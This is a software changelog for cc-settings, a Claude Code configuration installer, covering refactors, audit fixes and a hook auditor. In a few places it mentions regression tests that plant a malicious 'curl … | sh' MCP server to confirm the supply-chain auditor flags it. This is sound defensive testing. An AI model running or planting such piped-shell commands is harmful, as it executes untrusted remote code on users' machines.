settings-merge.ts has no record of what cc-settings installed last time, so it reconstructs that from hand-maintained regex registries: twelve patterns that answer "is this rule in the user's file a leftover of ours, or something they typed?" Recording the real answer costs one write per install and means the data will already have history behind it if the merge is ever taught to use it.
The full three-way merge was designed and declined — see docs/settings-merge-three-way-design.md. The design's own conclusion is why: the registries cannot actually be deleted. The baseline is written by the new code, so the first run on every existing machine has none and must reproduce today's behavior exactly, which requires today's logic to still be there. Restored backups, rollbacks, and hand-deleted baselines land a current machine back in that same case permanently. So the change would have added a parallel merge path to the file that protects hand-edited user settings, kept all twelve patterns anyway, and bought a marginal reduction in future one-line regex additions — of which there have been four in two and a half months.
The baseline lives in its own file rather than the version sentinel: it is ~15KB, and the sentinel is parsed by a hook on every session start.
[13.0.6] — 2026-07-31
Cleanup from the audit's smaller notes.
project-init.ts wrote three AI-tool pointer files through three functions that were byte-identical apart from the filename. One createPointerFile(dir, relPath, body) now covers all three — using dirname() for the mkdir, so it is a no-op for the flat .cursorrules/.windsurfrules and still creates .github/ for Copilot. The bytes written are unchanged, verified by hashing all three outputs before and after.
getProjectName() existed twice, in checkpoint.ts and handoff.ts, with a comment in the latter admitting the mirror. It lives in git.ts now beside the other small git wrappers. Deleting the local copy left two orphaned imports in checkpoint.ts, so this nets out roughly even on line count rather than the win it looked like.
quota-steer.ts reads stdin and throws the result away, which reads as dead code and is not — the payload carries the whole prompt, and a long one exceeds the pipe buffer, so exiting without draining would leave the dispatcher blocked on its write. Now says so, because the next person to see it would have deleted it.
MultiEdit is gone from the manifest's knownBuiltinTools; Claude Code removed that tool and settings-merge.ts already prunes its permission rules as dead syntax. Nothing reads the list programmatically, and no hook matcher references it.
[13.0.5] — 2026-07-31
The session ledger stopped reading itself on every tool batch. trimLedger runs after each append to enforce the 4000-line cap, and it was reading the whole file each time just to count lines — so every batch in a session paid a full read of a file that grows all session long. It now checks the size first: a file too small to possibly hold 4000 lines is ruled out by stat alone, and the read never happens.
That also shrinks a race it does not fully close. Two hook processes append to one session's ledger — PostToolBatch and PostToolUseFailure — and the trim is a read-modify-write, so an append landing between the read and the write is lost to the overwrite. The window now opens only on the rare batch that actually trims instead of on every batch. The residual loss is a few lines of a deliberately bounded, lossy digest; a lock would make every append pay a file lease to protect data whose whole contract is that it can be lossy.
trimLedger was also the one export in that module with no direct test. It has eight now, covering the cap, that the newest lines are the ones kept, JSONL validity, idempotence, a missing file, and that the new size gate never skips a trim that was genuinely due — the failure mode that would otherwise be invisible until a disk filled.
[13.0.4] — 2026-07-31
Seven state-file readers each restated the same contract: read JSON, validate it against a zod schema, and degrade to a safe default if either step fails. readValidatedState in hook-runtime.ts now holds that contract once, and every one of the seven call sites got shorter.
The two that mattered most were in hooks-fingerprint.ts, which reads the hook fingerprint the supply-chain check compares against. Both had hand-rolled the whole thing — an existsSync pre-check, a try/catch, a JSON.parse, and a safeParse — and both collapsed to a single call. A future change to how a corrupt state file is handled, like logging it instead of silently falling back, is now one edit rather than seven.
Behavior is unchanged and was verified rather than assumed: coerceState cannot alter a read whose fallback is null, so routing these through readState is provably a no-op. Across a missing file, an empty file, malformed JSON, a JSON null, an array, a string, wrong field types, an empty object, and a path-traversal attempt, both readers still return null exactly as before — and a valid fingerprint still round-trips.
[13.0.3] — 2026-07-31
The version sentinel stopped recording installer. It was a constant string ("src/setup.ts") that the installer wrote on every run and no reader has ever consumed — surfaced by the v13.0.1 sentinel consolidation, which had to model it purely because the writer emitted it.
Sentinels already on disk keep the field and still read correctly: the schema is z.looseObject, so an unrecognized key passes through untouched. Nothing needs migrating.
[13.0.2] — 2026-07-31
Two Windows path bugs shipped in v13.0.0 and turned CI red for a day. Both are the same mistake: node:path returns \ on Windows, but the thing being compared against always uses /.
Handoffs on Windows listed src\a.ts in Files Modified while git status listed src/a.ts, so the two never deduped and the same file appeared twice. toProjectRelative now normalizes separators — its whole purpose is producing strings a reader can match against git output, and git emits forward slashes everywhere.
The post-edit typecheck hook reported nothing at all on Windows. tsc prints src/lib/foo.ts while relative() returned src\lib\foo.ts, so neither that nor the absolute path matched any diagnostic line — every edit paid for a full typecheck and printed silence. Exactly the failure the absolute-path fix already addressed once, one separator later. The forward-slash form is now matched too.
Both existing tests already asserted the right thing; they were failing on windows-latest and passing everywhere else.
[13.0.1] — 2026-07-31
Nuclear review of the whole codebase (docs/audits/nuclear-review-2026-07-31.md, 9 findings). Seven landed; two were withdrawn after being built and found not to pay off — the audit records why so they aren't re-filed.
Six hook and script entry points stopped hand-rolling the fail-open wrapper and now call the shared runHook() (freeze-guard, pre-edit-validate, pre-pr-proof, session-title, cwd-changed, stop-summary). Thirteen adopters now, none hand-rolled. cwd-changed and stop-summary needed their inline bodies extracted into a main() first. Every explanatory comment survived, including the one recording that intentional blocks exit(2) inside blockDecision and never reach the catch.
The hook auditor no longer walks settings.json its own way. audit-hooks.ts had a hand-rolled traversal of the hooks block sitting beside iterCommandHooks, the function whose header says it exists to replace exactly those walks — a divergence risk in the one control that detects hook tampering. It now consumes the shared iterator, which gained groupIndex/hookIndex and a parseHooksBlock helper so the auditor's schema-failure finding comes from the same parse the traversal uses instead of a second one. Two real differences between the walks were reconciled rather than glossed: the auditor's command trim-and-skip-empty moved to the consumer, and hadHooksKey reproduces the old guard so a settings object with no hooks key is never validated as though it were one.
Types that were maintained by hand next to the zod schema describing the same shape now come from z.infer — ReviewQueueState, RateLimitsCache, QuotaSteerState, and mcp.ts's locally re-derived McpServer/McpServers (now re-exported from src/schemas/mcp.ts). Nothing enforced that the interface and the schema stayed in sync, so a field added to one and not the other type-checked everywhere and dropped at runtime. quota.ts also lost a duplicate second copy of two schemas.
The install sentinel ~/.claude/.cc-settings-version was modeled three ways — a zod schema in status.ts, manual field extraction in version-delta.ts, and an anonymous literal in setup.ts's writer — with the two readers covering different subsets of what the writer emits while one of them claimed to be the source of truth. One schema, one reader, one writer, owned by version-delta.ts. Parsing is per-field .catch(undefined) rather than the old all-or-nothing, so one bad field no longer discards a whole sentinel; it stays loose so a file written by an older install still reads.
CC_PARALLELMAX_THRESHOLD=0 was being silently ignored. tool-cadence.ts parsed it with Number(env) || 12, which treats a valid 0 as unset — so anyone setting it to zero to make the delegation nudge fire on every call got the default 12 instead, with no error. It now uses intEnv(), the shared parser that already exists in the same hooks cluster precisely to avoid this, and whose doc comment warns against the pattern it replaced.
settings-merge.ts documented its most correctness-sensitive invariant — how mcpServers avoids double-handling — by pointing at resolveMcpServers and mergeSettingsWithMcpPreservation in mcp.ts. Both were deleted in v12.16.0 when MCP moved to ~/.claude.json; the comments were not. Three sites now describe the real mechanism: installSettings destructures mcpServers out before mergeSettings ever sees it.
team-knowledge.ts re-exported NON_NOTE_FILES so consumers "can import from team-knowledge.ts as before." Nothing does — lint-knowledge.ts imports it straight from knowledge-index.ts. Dead re-export removed.
[13.0.0] — 2026-07-30
An automatic handoff used to lose most of what the session did. Two holes, both structural. git status only reports what is dirty right now, so a file edited early and committed an hour later left no trace — the longer the session, the more of its work vanished from the record. And the compaction summary Claude Code generates, the one structured account of intent and decisions that exists, was discarded: post-compact.ts never read its stdin at all, so every hook-created handoff kept a placeholder comment where its summary belonged.
Both are now closed, and the fix is deliberately split by provenance: compact_summary owns intent, decisions, and rationale; a new session ledger owns paths and errors. They are stored in separate fields and never merged, so nothing inferred is ever presented as observed.
The session ledger (src/lib/session-ledger.ts) is a bounded JSONL at ~/.claude/tmp/session-ledger/<session_id>.jsonl, written from a PostToolBatch hook. That event, not PostToolUse, is the right seam: it fires once per batch of parallel calls, so a turn that reads six files appends six entries from one process instead of racing six appenders on one file. It records paths, tool names, and bounded/redacted error strings — nothing else. The payload hands it tool_response containing the full body of every file read; that field is never touched. Caps are 50 reads, 50 changes, 20 failures, 200 chars per error, 4000 lines per file (trimmed to 2000), 30 session files. Every failure mode — missing session id, unwritable directory, corrupt line — degrades to less data, never to an error.
It also refuses to guess. A Bash call records nothing, because the batch payload carries no exit code that can be trusted for it. Unknown stays unknown.
Key Files is now the union of git status and the ledger's observed changes, with dedicated Files Modified / Files Read / Tool Failures sections beside it. PreCompact and SessionEnd invoke handoff.ts create --from-hook, which reads the hook payload from stdin for session_id and trigger — stdin is read only under that flag, so a manual handoff.ts create at a terminal still cannot hang. post-compact.ts then finds the handoff matching that session id and backfills its Session Summary in both the JSON and the Markdown twin.
Breaking
post-compact.tsno longer prints recovery instructions. It printed a numbered list addressed to the model; that text went to auserDisplayMessageand could only ever be seen by the user. Anything depending on that stdout should read the handoff instead, or move toSessionStart(source:"compact").- The PreCompact and SessionEnd hook commands changed to
handoff.ts create --from-hook. The old flagless form is now inDEPRECATED_COMMAND_PATTERNS, so re-running the installer prunes it rather than leaving both wired. A hand-writtenhandoff.ts createhook of your own will be pruned on the next install;create --summary "…"andcreate --from-hookare untouched. PostToolBatchis now a registered hook event. Sessions write one ledger file per session under~/.claude/tmp/session-ledger/, pruned to the newest 30 at session start.
PostCompact stdout never reached the model
Worth stating plainly, because the previous implementation assumed otherwise and the published hooks page documents neither half of this. Verified against the 2.1.220 binary, the runtime builds the payload as {...common, hook_event_name:"PostCompact", trigger, compact_summary} and folds each hook's stdout into a userDisplayMessage. The old script printed a numbered "recovery steps" list addressed to the model; that text could only ever have been seen by the user. compact_summary is genuinely delivered, and is what the hook now consumes.
Recovery injection moved to SessionStart with source:"compact", whose stdout does reach the model. It emits a hard-capped 15 lines: a compaction notice, the handoff path, up to 8 changed files, the last exact tool failure, and an instruction to re-read before trusting anything remembered. It pointedly does not repeat the compaction summary, which is already in the new context. session-start.ts now reads its stdin once at the top and reuses it, rather than reading late for session_id alone.
Two other doc claims corrected while confirming the contracts: the batch payload's array is tool_calls, not tool_uses, and PostToolUseFailure carries a top-level error string rather than a tool_output wrapper.
Tests are organized by Factory's four compression probes — recall, artifact, continuation, decision — plus the robustness cases that matter here: two compaction cycles in one session, parallel batches, corrupt and partial lines, missing session ids, secret redaction, cap enforcement, old handoffs without the new fields, and an assertion that no raw tool response or file content is ever persisted. All deterministic; no LLM judge, no network, no model call.
[12.16.4] — 2026-07-30
The install summary prints a one-line excerpt of each changelog entry it brings in, and it printed the markdown source. v12.16.3 was the first entry to open with a link, so the terminal got the raw bracket-and-URL source where the words should have been — noise plus an unclickable URL, in the one place the text has to be skimmable.
stripInlineMarkdown() flattens the excerpt: links and images collapse to their text, bold unwraps, inline code loses its backticks. It stops there on purpose. No */_ emphasis pass — changelog prose is full of *.md globs and mcp_written-style identifiers, and an emphasis stripper mangles those far more often than it un-italicises anything. A test pins that boundary so the next person to "finish" the stripper has to argue with it first.
A cross-model review caught the one case the first cut got wrong: the URL matcher was a flat [^)]*, which stops at the first ). A link like [function](.../Function_(mathematics)) came out as function) — the inner paren ended the match and the outer one stayed behind. The matcher now allows one level of nesting. Its alternation is unambiguous — the two branches can't match the same first character — so it can't backtrack.
[12.16.3] — 2026-07-30
Two delegation rules, both prompted by OpenAI's ARC-AGI-3 writeup: the official harness dropped the model's private reasoning items after every game action, so it re-derived its understanding of the puzzle each turn. Carrying reasoning forward instead took the same model from 13.3% → 38.3% on the public set and cut output from ~2.9M to ~0.5M tokens per game. The harness was the bottleneck, not the model.
Resume, don't respawn (CLAUDE-FULL.md, Delegation rule 5). SendMessage resumes an agent from its transcript; a fresh Agent call starts cold and pays to re-derive everything the first one reasoned through. We already had this rule, but only in skills/orchestrate/SKILL.md and only for the narrow case of an agent that returned an incomplete section. It's now a general default in the always-loaded file, with the cold-read exception named explicitly — adversarial verification and second opinions want a fresh context.
Briefings carry what was ruled out (agents/implementer.md item 8, mirrored in the CLAUDE-FULL.md briefing paragraph). The 7-item contract carried facts — paths, the change, the verification command — and no reasoning. Facts survive a thin briefing; the thinking behind them doesn't, so the agent re-derives it and often re-walks a dead end the caller already walked. Added as advisory, deliberately not part of the blocking Briefing Gate, so it can't widen what the agent refuses.
The headline 3× does not transfer. Their loop is hundreds of short actions inside one task with reasoning discarded between each; Claude Code retains thinking within a session, so the leak surface here is only subagent spawns and compaction. The compaction half of their finding needed no change — manual /compact at 65%, AGENTS.md Post-Compaction Recovery, and /handoff already cover it.
[12.16.2] — 2026-07-30
The post-edit TypeScript hook has never reported a single error. It matched TOOL_INPUT_file_path — which Claude Code passes as an absolute path — against tsc --noEmit output, which prints diagnostics relative to cwd. Every .ts/.tsx edit paid for a full-project typecheck and printed nothing.
Reproduced before fixing, on a deliberately broken file:
absolute path (what the hook receives) → (no output)
relative path → src/lib/probe.ts(1,14): error TS2322: ...
The existing smoke tests covered only the two no-op paths (non-TS file, empty path), so nothing ever asserted the hook emits anything for a genuinely broken file. That test now exists — it writes a real type error and asserts the diagnostic comes back.
Typechecks are now incremental. Once the hook produces output, the cost of producing it starts to matter. runTsc() reuses a .tsbuildinfo across runs, cached at ~/.claude/tmp/tsc-cache/<cwd-hash>.tsbuildinfo — under $HOME rather than in the project, so a client repo never gets a stray build artifact showing up in git status. Measured through the hook on this repo: 2.06s cold → 0.72s warm.
The cache is never allowed to fake a clean typecheck. Three ways it can be unusable all fall back to a cold run:
| Failure | Cause |
|---|---|
unwritable $HOME | cache path can't be created |
| TypeScript < 5.6 | rejects --incremental alongside --noEmit |
torn .tsbuildinfo | concurrent hook runs share one cache path |
The retry matcher is deliberately narrow — a tsc error line naming the cache machinery, never a user type error that happens to mention it — so a bad cache degrades to "slow" and never to "silently green".
A cross-model review caught the matcher's own version of the original bug before it shipped: --pretty colourises even when piped, splitting the header as error<ESC>[0m<ESC>[90m TS2322, so a pattern expecting error TS#### could never fire on the pre-commit path. Escapes are stripped before matching now, and a test asserts both halves — that raw pretty output does not match, and that stripped output does.
Both runTsc() callers inherit this, so the pre-commit gate got faster too and shares the same cache.
[12.16.1] — 2026-07-29
Closes F7 from docs/audits/nuclear-review-2026-07-29.md — the last open finding — without a code change, which is the honest outcome once it was measured.
F7 suspected lightProfilePruneTargets() of duplicating work cleanOldConfig already does. It named its own prerequisites: a full read of wipeTasks against MANAGED_SKILLS/PROFILE_MANIFEST, plus a light-install-over-full test. Both are now satisfied — and the second already existed (tests/install-e2e.test.ts "full → light switch"), which the filing missed.
The redundancy is real and partial. The boundary was established by deleting each category in turn and re-running that E2E, rather than by reading:
| Prune category | Deleted → E2E | Verdict |
|---|---|---|
| non-light skill dirs | passes | redundant — clean rm -rf's every MANAGED_SKILLS dir; light restores only LIGHT_SKILLS |
CLAUDE.md / AGENTS.md | passes | redundant — both are wipe: "recursive" entries |
full-only dirs (agents, profiles, rules, docs) | fails | load-bearing — clean only glob-wipes *.md inside them |
The E2E was separately confirmed to have teeth (emptying the load-bearing category fails it on rules), so those passes mean something.
Kept as-is, deliberately. Two of three categories are no-ops, but they are the price of a self-contained contract: the function answers "the complete full-minus-light footprint", a question with a checkable answer. Narrowing it to the load-bearing third would trade that for an implicit dependency on cleanOldConfig's internals — light correctness would rest silently on its MANAGED_SKILLS loop continuing to wipe all managed skills rather than only those about to be re-copied. Incident H7 was exactly that class of cross-list coupling. Measured cost of keeping them: ~40 force-removes of absent paths, in parallel.
Two real changes fell out of the investigation. The overlap table is now a comment on lightProfilePruneTargets so the next audit doesn't re-derive it and nobody removes the belt-and-braces without seeing why it exists. And the E2E gained a missing docs assertion: docs sits in the load-bearing category but was never asserted gone, so a regression there would have shipped silently. That assertion was verified to fail when docs is dropped from the prune.
All 7 findings from the 2026-07-29 audit are now closed.
[12.16.0] — 2026-07-29
MCP servers now install to ~/.claude.json only. Fixes F6 from docs/audits/nuclear-review-2026-07-29.md, which was filed PLAUSIBLE because its remedy depended on a fact nobody had established. Establishing that fact was most of the work.
The measurement. Claude Code does not read mcpServers from settings.json at user scope. Three controlled conditions against the real binary in a throwaway HOME:
| Condition | Result |
|---|---|
Server in settings.json only (~/.claude.json present) | does not appear in claude mcp list |
Server in ~/.claude.json only | appears |
Server in settings.json, ~/.claude.json present without the key | "No MCP servers configured" — not even a fallback |
Corroborated independently by the official docs' configuration-locations table, which lists MCP storage as ~/.claude.json / .mcp.json and never settings.json. So the copy cc-settings wrote there was not a redundant-but-working second source — it was dead configuration.
The clinching detail, found while scoping: setup.ts deliberately fed the same resolved teamMcp into both writers so they "never disagree about which engine backs the tldr server (H9)". An entire past defect class existed only to keep the inert copy in sync with the real one.
What was deleted — 214 lines of mcp.ts. mergeSettingsWithMcpPreservation (the thin wrapper), resolveMcpServers, findUserOnlyServers, promptPreserveUserServers, divergingFields, and the CC_WIPE_CUSTOM_MCP=1 override. mergeSettings loses its fifth resolvedMcpServers parameter and the settings merger no longer has an MCP-shaped hole in its strategy table.
Removing an interactive data-protection prompt demands proof it protected nothing, so: installMcpToClaudeJson merges { ...teamMcp, ...effectiveCurrentMcp }, spreading existing entries last, so user-only servers in ~/.claude.json survive by construction. The prompt only ever guarded the file Claude Code never read. No protection was lost — that is now invariant #3 in the module header rather than an implicit property.
One-time migration. pruneSettingsMcpServers removes the block prior installs left in settings.json, scoped to entries cc-settings itself wrote — matched against what we ship now or what the mcp_written sentinel records a previous install wrote (so a prior engine's tldr shape is recognized too). Anything the user added by hand stays, even though it is equally inert there; the mcpServers key is dropped entirely when the prune empties it. Idempotent.
Verified end-to-end against a fake HOME seeded with the real pre-v12.16.0 state (the exact composed block plus a hand-added server): 4 inert entries removed, the hand-added server and an unrelated model: "opus" preserved, and all four servers still resolving through claude mcp list from ~/.claude.json. A fresh install leaves no mcpServers key in settings.json at all.
Docs corrected where they taught the wrong model. The configuration-locations table implied settings.json = team MCP and ~/.claude.json = personal; the section heading "Team-Shared MCP Servers (in settings.json)" said it outright. Both now state that every user-scope server lives in ~/.claude.json, that team servers are authored in config/20-mcp.json and installed there, and that a hand-placed settings.json block has no effect. The mcpServers row in the key table keeps its entry — the schema must still accept the key because the composed fragment carries it — with the no-effect caveat attached.
Codex's cross-model review of this diff caught a security regression the change itself introduced, plus four smaller defects. All five are fixed here; the first is the reason cross-model review on a diff like this is not optional.
bun run audit:hookshad stopped seeing MCP servers entirely. The supply-chain auditor scansmcpServerscommand/args against the same malware-signature bank it uses for hooks (H12), but it reads only~/.claude/settings.json. Moving the definitions to~/.claude.jsonmoved them out of the auditor's view — a malicious MCP command would have passed the audit clean while still executing at every session start.auditSettingsFilenow scans both files, with the MCP-bearing one being the important half. Its newclaudeJsonPathparameter is explicit rather than derived from a host constant, so an auditor handed a fixture directory cannot silently scan the real file — the F3 lesson applied preemptively. Two regression tests: acurl … | shMCP command is flagged, and an absent or corrupt~/.claude.jsondegrades to "nothing to scan" instead of failing the hooks audit.- A malformed legacy entry could abort the installer. The prune passed raw entries to
isStaleCcOutput, whoseisStdioServerdoes"command" in entry— which throws on a string or number. A single junk entry in a parseablesettings.jsonwould have taken down the whole install. Non-object entries are now skipped and kept. Verified end-to-end with a"legacy-garbage": "not-an-object"entry in the seed. - Retired managed servers could never be pruned. Ownership was only checked when the name still existed in the current
teamMcp, so a server cc-settings stopped shipping kept its inert block forever — and the evidence vanished on the next sentinel write. The prune now also matches directly againstmcp_writtenwhen there is no current team entry. - The changelog claimed a parameter removal that had not happened.
mergeSettingsstill carried its fifthresolvedMcpServersargument and two live injection branches that wrotemcpServersintosettings.json— directly contradicting the single-destination contract this release announces. Now actually removed. skill-prereqscounted inert entries as configured, which could silence a "prerequisite missing" warning for a server Claude Code cannot load. It now reads~/.claude.jsononly, and its parameter was renamed fromclaudeDirtoclaudeJsonPathbecause the old one read settings.json from the fixture and~/.claude.jsonfrom the real host — the same mixed-source defect as F3, found while fixing F6.
A second Codex pass caught that two of those five fixes had not actually landed, and found a worse version of the security gap. Worth recording plainly, because the failure mode was mine:
- Two "fixes" were never applied. The malformed-entry guard and the retired-server prune were written as scripted string replacements that silently failed to match —
lint:fixhad reformatted the target line first. I then reported them as fixed. The e2e test that appeared to confirm the crash fix used the keylegacy-garbage, which short-circuits inisStaleCcOutputbefore the throwing line; only an engine-managed name (tldr) reaches it. Both are now applied via verified edits, with a regression test that usestldrspecifically and an e2e run seeded with"tldr": "not-an-object"(install completes, junk entry preserved, the other three pruned). - The auditor gap was worse than first fixed. Scanning
~/.claude.jsonwas added after two early returns — absentsettings.jsonand malformedsettings.json— so in either of those ordinary statesaudit:hooksstill reported clean with a malicious MCP server armed. The scan now runs first, independently, and its findings survive both early returns. Verified against the real CLI in a seededHOME: a plantedcurl … | shMCP server is reported as[mcpServers] evil (in ~/.claude.json)with exit 1. claudeJsonPathstill defaulted to the host file even when a fixtureclaudeDirwas supplied — F3's mixed-source defect, reintroduced by my own fix for it. It now derives fromdirname(claudeDir), which matches production exactly (~/.claude→~/.claude.json).- Findings carried no source attribution, so a
~/.claude.jsonfinding was printed alongside remediation telling the reader to back upsettings.json.EnvMcpFindinggained asourcefield; the report prints it and the remediation names the right file per finding. - Two
skill-prereqstests still passed a directory to a function that now takes an exact file path, so their missing-file and malformed-JSON branches tested nothing. Rewritten — and now genuinely hermetic, where the old version carried a comment conceding it could not isolate~/.claude.json.
A third pass found the reporting layer still swallowing the finding. formatAuditReport short-circuited on !result.exists with "nothing to audit", so with no settings.json the CLI exited 1 while naming neither the malicious server nor any remediation — collected, then discarded at the last step. The env/MCP section is now a shared renderer used by both paths, and the short-circuit requires the other file to be clean too. Verified with the real CLI against a HOME with no settings.json at all: the evil server is named, attributed to ~/.claude.json, exit 1. Same pass also fixed a CLI audit of a custom --path reading the host's ~/.claude.json (now resolved relative to the audited install), and two user-facing docs still describing MCP as merged into settings.json.
A fourth pass tightened what the migration is allowed to delete. The prune treated "matches what we ship" as proof of ownership, so an entry a user had copied from ours and annotated with their own _comment was silently removed — annotations are functionally irrelevant, so functionalKey called it ours. That contradicted the function's own stated promise to leave hand-added content alone. Ownership is now two-tier: recorded (matches mcp_written — fact, annotation-blind) prunes freely; inferred (shape only, for a pre-v12.12.0 sentinel with no record) additionally requires the annotations to match. Verified end-to-end: a user-annotated figma entry survives while the other three are pruned. Same pass made EnvMcpFinding.source the resolved path rather than a hard-coded label (so a staging-install audit names staging files), gave the absent-settings.json branch the summary and remediation footer it was skipping, and pinned claudeJsonPath inside the sandbox in twelve pre-existing tests that my sibling-path derivation had made host- and concurrency-dependent.
Test suite: 1032 → 1017. ~24 tests went away with the code they covered; 17 were added (prune behavior including the malformed-engine-entry and retired-server paths, the auditor's ~/.claude.json coverage across absent/malformed/corrupt settings, the inert-block prereq contract, and the module's "unparseable JSON aborts loudly" invariant — whose only coverage had lived inside the deleted settings.json suites, a gap surfaced by an unused-import warning after the deletion).
[12.15.2] — 2026-07-29
Fixes F3 and F4 from docs/audits/nuclear-review-2026-07-29.md. One of them turned out to be substantially mis-measured; the correction is the more useful half of this entry.
F3 — gatherStatus honored its claudeDir for some reads and silently ignored it for others. It took a claudeDir parameter, used it for the sentinel, git drift, skills, and settings.json, then read ~/.claude.json from the module-level CLAUDE_JSON_PATH, the launchd plist from the real $HOME, and auto-update-last-run.json from the real ~/.claude/tmp. A caller passing a fixture directory got a mix of fixture and host state.
The tests conceded this in a comment rather than covering it — "this can only assert shape, not tmp-fixture-scoped values" — and one test named "MCP server in claudeJson → appears in mcp.servers" asserted only that the field was an array, never placing a server or checking for one.
gatherStatus(sourceDir, claudeDir, version) now takes gatherStatus(sourceDir, paths: InstallPaths, version). InstallPaths (new, in platform.ts) bundles claudeDir, claudeJsonPath, and homeDir so partial overriding is impossible — the previous shape's whole failure mode was supplying one path and getting host defaults for the rest. ~/.claude.json is a sibling of ~/.claude, not a child, which is why it can't be derived from claudeDir alone and why the bundle needs homeDir too. readState gained an optional tmpDir (defaulting to the real one, which is what all ~20 hook callers want), matching the homeDir = homedir() injection style already used by autoUpdateStatus and pinnedToolPath.
Four tests now assert fixture-scoped values where they previously asserted shape: plist absent ⇒ plistPresent: false, lastRun read from the fixture's tmp/, MCP servers read from the fixture's .claude.json, and an absent .claude.json ⇒ empty list rather than the host's servers. All four were confirmed to fail against the previous implementation — this machine has a real plist, a real auto-update-last-run.json, and a populated ~/.claude.json, so each assertion is genuinely falsifiable rather than vacuously true.
F4 — the finding as filed was wrong, and the correction matters more than the fix. It reported docs/settings-reference.md as documenting "35 of 108 schema keys." That counted ### prose headings and missed the ## Complete settings.json key reference table in the same file: a 106-row inventory with type, class, and description columns. Measured properly — 108 schema root keys, 106 rows, zero phantom rows — the gap was two keys (advisorModel, respondToBashCommands), not seventy-three.
Both models reported the inflated number (Codex said 37 of 108) because both counted headings. Two models agreeing is not two models having measured the right thing, and that is the durable lesson here.
What survived is smaller and different in kind: a hand-maintained table with nothing to catch divergence from the schema. Two keys had already drifted and nothing would have reported a third. So: the two rows added, the "~104 documented keys" claim replaced with what is now enforced, the 108 rows sorted by codepoint so a new key has exactly one slot (6 rows moved, no content changed), and tests/docs-settings-keys.test.ts asserting parity in both directions plus no-duplicates and sortedness. Verified to fail on an omitted row and on an invented one.
Full generation from the zod schema — the audit's original fix and Codex's recommendation — was rejected: it would trade hand-written Class and Description columns ("which tier is this", "what breaks if you set it") for zod type names. The table stays hand-written; the test makes "complete" true by construction rather than by assertion.
Suite: 1026 → 1032 tests, 0 fail. Typecheck, biome, skill lint clean.
[12.15.1] — 2026-07-29
Fixes F1 and F2 from docs/audits/nuclear-review-2026-07-29.md. No behavior change on any success path; one behavior change on a failure path, noted below.
F1 — the checksum boundary existed twice; now it exists once. ensurePinnedEngine (engine-pin.ts) and ensurePinnedTool (pinned-tools.ts) had each implemented the same state machine: platform-key lookup → temp path → fetch → HTTP/network fail-soft → write → hash → mismatch: remove and throw. New src/lib/download-verify.ts owns it; the two callers now differ only in what they do with the verified bytes — rename + pin record for a bare binary, tar -xf + lift one file out for an archive. engine-pin.ts drops 82 lines to gain 0 new concepts.
The concrete drift this closes: the SLSA/sigstore provenance gate was stubbed on the engine path only. A real implementation would have shipped verified engines and left the tool path — a ~55MB third-party Rust binary pulled from a GitHub release — unverified, with nothing failing or warning to say so. The gate now lives in the shared primitive and covers both, so it graduates once for both.
platformKey() moved from engine-pin.ts to platform.ts, beside platform/arch whose own comment already scoped them to "checksum-key lookups, download-URL templating". This was forced rather than cosmetic: the primitive needs a platform string for its error message, and importing it from engine-pin.ts — which imports the primitive back — would have been a runtime import cycle. Re-exporting from the old location was rejected as exactly the thin wrapper this audit flags; the three importers were repointed instead.
F2 — PinnedToolDescriptor was generic in shape and single-purpose in fact. ensurePinnedTool hardcoded tldr-cli-${triple}/ as the archive's inner directory while the descriptor advertised five configurable fields and no way to express it. A second tool with any other layout would download, checksum, and untar successfully, then fail soft with "expected binary missing from archive" — pointing at upstream packaging for what was really a missing field.
archiveBinPath is now a descriptor field taking the same literal <TRIPLE> token as urlTemplate ("tldr-cli-<TRIPLE>/tldr"), both expanded through one expandTriple helper so they cannot diverge. Failure-path change: when the descriptor disagrees with the archive, the warning now names the field — "<path> missing from archive — tool not installed (check the descriptor's archiveBinPath)" — instead of implying a broken asset. Three tests added: the descriptor's own shape, a bin/tldr layout installing correctly (proving the generality is real, not decorative), and a wrong archiveBinPath failing soft with nothing installed.
What was deliberately NOT changed. The audit noted that tool installs anchor their reuse check to an on-disk .sha256 sidecar while engine installs anchor to an in-source constant, so engines self-heal from binary tampering and tools cannot. Closing that requires pinning the extracted binary's sha256 per platform, which requires downloading all four release archives to obtain those digests — checksums cannot be invented, and pinning only the current platform would make the tool uninstallable elsewhere. The asymmetry is instead stated plainly in the module header, which previously claimed to "mirror engine-pin.ts's security discipline" without qualification. It remains outside the documented threat model (SECURITY.md: "a targeted attacker with full user-privilege write access") and gated behind opt-in CC_PINNED_TOOLS.
Two hardenings from Codex's cross-model review of this diff, both cases where the new code didn't honor a contract it had just written down:
-
download-verify.tsclaimed "every failure path either wrote nothing or removes what it wrote," but only cleaned up on the two explicit rejections. A partialwriteFileor an unexpected throw from hashing would have left an unverified temp file on disk. The temp lifecycle is now atry/finallywith ownership transferring to the caller only on the success return, which also removes the two hand-writtenrmcalls. -
pinned-tools.tsnow requires the extracted path to resolve beneath the staging dir and to be a regular file. Codex framed this as traversal/symlink exposure; the sharper reason is internal inconsistency —tldrCodePath()already refuses to hand back a symlinked binary on the read path, because a symlink redirects execution somewhere unpinned, so an install path that happily renames a symlink into place made that guard decorative. Descriptors are in-source rather than user or remote input, so this is defense in depth, not a reachable hole.Containment is checked with
realpath, notstartsWithon a joined path. A lexical test passesbin/tldrwhen the archive containsbin -> /outside, becauselstatonly spares the final component from symlink resolution;realpathcollapses every component, so an intermediate link lands outside the root and is rejected. Codex caught this on the second pass, after the first-pass fix used the lexical form. -
A second
rm-on-failure gap, symmetric to the first:ensurePinnedEnginetook ownership of the verified temp file and would have leaked one per attempt ifrename/chmodthrew.pinned-tools.tsalready had the equivalent guard around its extract step.
Failure modes are now individually covered: escaped path, non-regular file, and layout mismatch each fail soft with their own message. The escape test plants a real file outside the staging root and asserts it is neither moved nor consumed — an earlier version of it passed for the wrong reason, resolving to a nonexistent path and exercising the "missing from archive" branch instead of the containment branch.
Suite: 1021 → 1026 tests, 0 fail. Typecheck, biome, and skill lint clean.
[12.15.0] — 2026-07-29
Every plan now opens with a Functional DAG — the recipe-table form from Cooking for Engineers: inputs down the left, operations merging rightward, exactly one terminal node.
The problem it fixes: a bulleted plan hides the two things a plan exists to answer — what must finish before a step can start, and what can run at the same time. Both were being reconstructed by hand as a "Dependencies:" line per task and a separately-maintained batch list, which drift from each other the moment the plan changes.
New — docs/functional-dag.md. The spec: required brace form with a worked example (connector columns verified aligned), authoring rules, five validity checks, and the derivation of parallel batches from the diagram's columns.
The validity checks are the substance — each failure is a plan bug, not a drawing bug:
- an input row no consumer touches = orphan work, or a missing step
- two terminal nodes = two plans, split them
- a line re-entering a node to its left = not a plan, split the node into before/after
- an operation whose label isn't verifiable = a step that can't be estimated
